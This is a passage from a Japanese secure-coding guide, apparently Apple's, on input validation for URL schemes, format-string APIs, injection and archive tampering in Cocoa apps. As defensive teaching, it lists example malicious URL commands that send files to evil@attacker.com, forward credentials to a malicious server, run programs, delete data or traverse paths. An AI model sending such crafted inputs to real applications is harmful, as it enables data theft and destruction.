入 力 の 検 証 とプロセス 間 通 信 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 syslogおよびvsyslog Carbon AEBuildDescおよびvAEBuildDesc AEBuildParametersおよびvAEBuildParameters AEBuildAppleEventおよびvAEBuildAppleEvent Core Foundation CFStringCreateWithFormat CFStringCreateWithFormatAndArguments CFStringAppendFormat CFStringAppendFormatAndArguments Cocoa stringwithformat: initwithformat:をはじめとするnsstringのメソッドで 書 式 文 字 列 を 引 数 として 取 るもの NSMutableStringクラスのappendFormat:メソッド NSAlertの alertwithmessagetext:defaultbutton:alternatebutton:otherbutton:informativetextwithformat: メソッド NSPredicateクラスの predicatewithformat: predicatewithformat:arguments: predicatewithformat:argumentarray:の 各 メソッド NSExceptionクラスの raise:format:およびraise:format:arguments:メソッド NSRunAlertPanelをはじめとするApplication Kitの 関 数 で パネルやシートを 生 成 し あるい は 返 すもの URLやファイルの 操 作 アプリケーションがURLスキームを 登 録 している 場 合 URL 文 字 列 の 形 で 送 信 されてくるコマンドは 慎 重 に 処 理 しなければなりません コマンドの 仕 様 が 非 公 開 であったとしても ハッカは 仕 様 を 推 測 し 不 正 なコマンドを 送 信 しようと 試 みます たとえば ウェブサイトからアプリケーションを 起 動 するリンクが 提 供 されていれば どのようなコマンドを 送 信 しているか 観 察 し 考 えうるさまざまな 変 種 を 試 してみるでしょう アプリケーションに 送 信 される 可 能 性 があるコマンドはすべて 適 切 に 処 理 するか 却 下 する 必 要 があります 正 常 なコマンドとして 想 定 しているものだけ 扱 うのでは 不 充 分 です 38

入 力 の 検 証 とプロセス 間 通 信 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 たとえば 証 明 書 をウェブサーバに 返 す というコマンドを 受 け 付 ける 場 合 URLに 埋 め 込 まれた 返 送 先 ウェブサーバを 攻 撃 者 が 好 きなように 書 き 換 えることのないよう 過 度 に 汎 用 性 の 高 いハンドラ にすることは 避 けてください 受 け 付 けるべきではないコマンドの 例 を 示 します myapp://cmd/run?program=/path/to/program/to/run myapp://cmd/set_preference?use_ssl=false myapp://cmd/sendfile?to=evil@attacker.com&file=some/data/file myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on myapp://cmd/login_to?server_to_send_credentials=some.malicious.webserver.com 一 般 に 任 意 のURLや 完 全 パス 名 を 記 述 したコマンドは 受 け 付 けないようにしてください URLコマンドに 埋 め 込 まれたテキストその 他 のデータを 関 数 やメソッドの 引 数 として 使 うと 書 式 文 字 列 攻 撃 ( 書 式 文 字 列 攻 撃 (36 ページ)を 参 照 )やバッファオーバーフロー 攻 撃 ( バッファ オーバーフローの 引 き 金 (35 ページ)を 参 照 )の 標 的 になる 恐 れがあります パス 名 を 受 け 付 ける 場 合 次 のように 他 のディレクトリの 参 照 を 許 すような 文 字 列 に 対 しては 慎 重 に 対 処 してくださ い myapp://use_template?template=/../../../../../../../../some/other/file インジェクション 攻 撃 URLコマンドやテキスト 文 字 列 を 検 証 せずに 使 うと 攻 撃 者 が 悪 意 あるコードをプログラムに 注 入 し それを 実 行 するという 攻 撃 の 標 的 になりえます 厳 格 に 構 造 化 されていないデータを 扱 うコードで さまざまな 型 のデータが 混 在 しうる 場 合 インジェクション 攻 撃 の 危 険 があります たとえば 関 係 データベースに 対 するクエリ(SQL)を 渡 すアプリケーションの 場 合 クエリには2 種 類 のデータが 含 まれます コマンド 自 身 ( 実 行 内 容 の 指 示 )と コマンドに 埋 め 込 むデータです データとコマンドとは 通 常 引 用 符 で 区 切 られています しかし データ 文 字 列 中 に 引 用 符 がある 場 合 これを 適 切 に 処 理 して データの 末 尾 と 解 釈 されないようにしなければなりません 悪 意 ある 攻 撃 者 は 引 用 符 の 後 にセミコロンを 置 いてコマンドを 終 結 させ その 後 に 第 2の 不 正 なコマンドを 記 述 します するとデータベース 処 理 系 は この 注 入 されたコードを 実 行 してしまうのです インジェクション 攻 撃 を 回 避 するためには 単 なる 入 力 の 検 証 だけでは 不 充 分 です 詳 しくは 章 を 改 め インジェクション 攻 撃 やXSSの 回 避 (91 ページ)の インジェクション 攻 撃 の 回 避 (91 ペー ジ)で 解 説 します 39

入 力 の 検 証 とプロセス 間 通 信 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 ソーシャルエンジニアリング ソーシャルエンジニアリングとは 要 するにユーザを 欺 く 行 為 ですが 入 力 の 検 証 漏 れという 脆 弱 性 があると ちょっとした 迷 惑 行 為 の 範 疇 にとどまらず 大 きな 問 題 に 発 展 することがあります たと えば ファイルを 削 除 する というURLコマンドを 受 け 付 けるけれども 実 際 に 削 除 する 前 にダイア ログを 出 して 確 認 するようになっているとします 非 常 に 長 い 名 前 のファイルの 場 合 ダイアログ 画 面 をスクロールしなければ 末 尾 まで 確 認 できません このとき 巧 妙 な 技 を 使 って 不 要 になった キャッシュ 済 みデータなど 削 除 しても 問 題 ないファイルと 錯 覚 させることができます たとえば 次 のようなコマンドを 考 えてみましょう myapp://cmd/delete?file=cached data that is slowing down your system.,realfile ダイアログには Are you sure you want to delete cached data that is slowing down your system. と 表 示 されます しかし realfile というファイルは ずっと 下 までスクロールしないと 見 えません しか し うっかり OK ボタンを 押 すと 実 際 には 必 要 なファイルが 削 除 されてしまうのです もうひとつの 例 として にせのウェブサイトに 誘 導 するリンクを 押 させる という 攻 撃 も 考 えられま す ソーシャルエンジニアリングについて 詳 しくは 安 全 なユーザインターフェイスの 設 計 (77 ペー ジ)を 参 照 してください アーカイブ 済 みデータの 改 竄 データのアーカイブ 化 (あるいはオブジェクトグラフのシリアル 化 )とは 相 互 に 関 連 するオブジェ クト 群 を 特 定 のアーキテクチャに 依 存 しないバイトストリームに 変 換 する 処 理 のことです もちろ ん オブジェクトや 値 の 同 一 性 や 関 係 は 保 存 しなければなりません データをファイルに 書 き 出 す 他 のプロセスに 渡 す ネットワーク 経 由 で 送 信 するなど さまざまなデータ 保 存 データ 交 換 の 手 段 として 使 われます たとえばCocoaでは コーダ オブジェクトを 使 ってアーカイブを 生 成 し あるいは 既 存 のアーカ イブを 展 開 して 読 み 込 むことができます これは 抽 象 クラスであるNSCoderから 派 生 した 具 象 サブ クラスのインスタンスです オブジェクトのアーカイブには セキュリティの 観 点 でいくつか 問 題 があります まず アーカイブを 展 開 すると いくつものオブジェクトが 相 互 に 連 結 し グラフ 構 造 を 成 して います ここにはどのようなクラスのどんなインスタンスでも 入 りえます 攻 撃 者 があるオブジェク トを アプリケーションが 想 定 していないクラスのインスタンスで 置 き 換 えれば 予 期 しない 動 作 に なる 恐 れがあります 40

入 力 の 検 証 とプロセス 間 通 信 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 第 2に アーカイブを 展 開 して 元 の 状 態 にするためには 収 容 されているデータの 型 を アプリケー ションが 知 っていなければなりません 開 発 者 は 通 常 値 のデコード 処 理 を 記 述 する 際 データの 型 や 長 さがアーカイブ 作 成 時 から 変 わっていないと 想 定 します しかし アーカイブの 保 存 方 法 が 安 全 でなければ この 想 定 は 危 険 です 攻 撃 者 が 中 身 を 改 竄 している 可 能 性 があるからです initwithcoder:メソッドでは デコードしようとするデータが 正 しい 形 式 であること 確 保 したメ モリ 空 間 からあふれないことを きちんと 検 証 する 必 要 があります これを 怠 っている 場 合 攻 撃 者 はアーカイブを 巧 妙 に 改 竄 して バッファオーバーフローその 他 の 脆 弱 性 を 突 き システムの 制 御 権 を 奪 ってしまうかも 知 れません さらに initwithcoder:メソッドの 内 部 でdecodeObjectForKey:を 呼 び 出 していれば このメソッ ドから 制 御 が 返 された 時 点 で 既 に 誤 動 作 が 避 けられない 状 態 になっている 恐 れがあります アーカ イブを 安 全 でない 方 法 で 保 存 / 送 信 し あるいは 信 頼 できない 情 報 源 から 届 いたアーカイブを 使 う 可 能 性 があるならば 代 わりにdecodeObjectOfClass:forKey:を 使 うとともに NSSecureCodingプ ロトコルを 実 装 したクラスのみに アーカイブの 中 身 を 制 限 する 必 要 があります 第 3に アーカイブを 展 開 する 際 (NSKeyedUnarchiverDelegateのunarchiver:didDecodeObject: メソッドを 参 照 ) あるいはメッセージawakeAfterUsingCoder:を 受 け 取 る 際 に 別 のオブジェク トを 返 すオブジェクトがあります たとえばNSImageクラスがこれに 当 たります アーカイブを 展 開 する 際 自 分 自 身 をある 名 前 で 登 録 するので アプリケーションがそれまで 使 っていた 画 像 が これ で 置 き 換 わってしまう 可 能 性 があるのです 攻 撃 者 はこれを 悪 用 して 故 意 に 破 損 した 画 像 ファイル をアプリケーションに 送 り 込 むことができます 自 分 自 身 が 記 述 したコードは 安 全 でも 内 部 で 呼 び 出 しているライブラリに 脆 弱 性 があるかも 知 れな いことに 留 意 してください 特 に あるクラスを 独 自 に 実 装 したとき そのスーパークラスの initwithcoder:メソッドも アーカイブの 展 開 処 理 に 関 与 します 注 意 : nibファイルの 実 体 はアーカイブなので ここで 説 明 したのと 同 じ 注 意 が 必 要 です 署 名 済 みアプリケーションバンドルからロードしたnibファイルは 信 頼 できますが 安 全 で ない 場 所 に 保 存 されていた 場 合 は 信 頼 できません 入 力 の 検 証 漏 れによる 危 険 については 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 (35 ページ) アーカイブファイルの 安 全 性 を 確 保 するための 技 法 については ファイル 操 作 の 安 全 性 確 保 (50 ペー ジ) 入 力 の 検 証 についてはこの 章 の 関 連 する 節 を 参 照 してください 41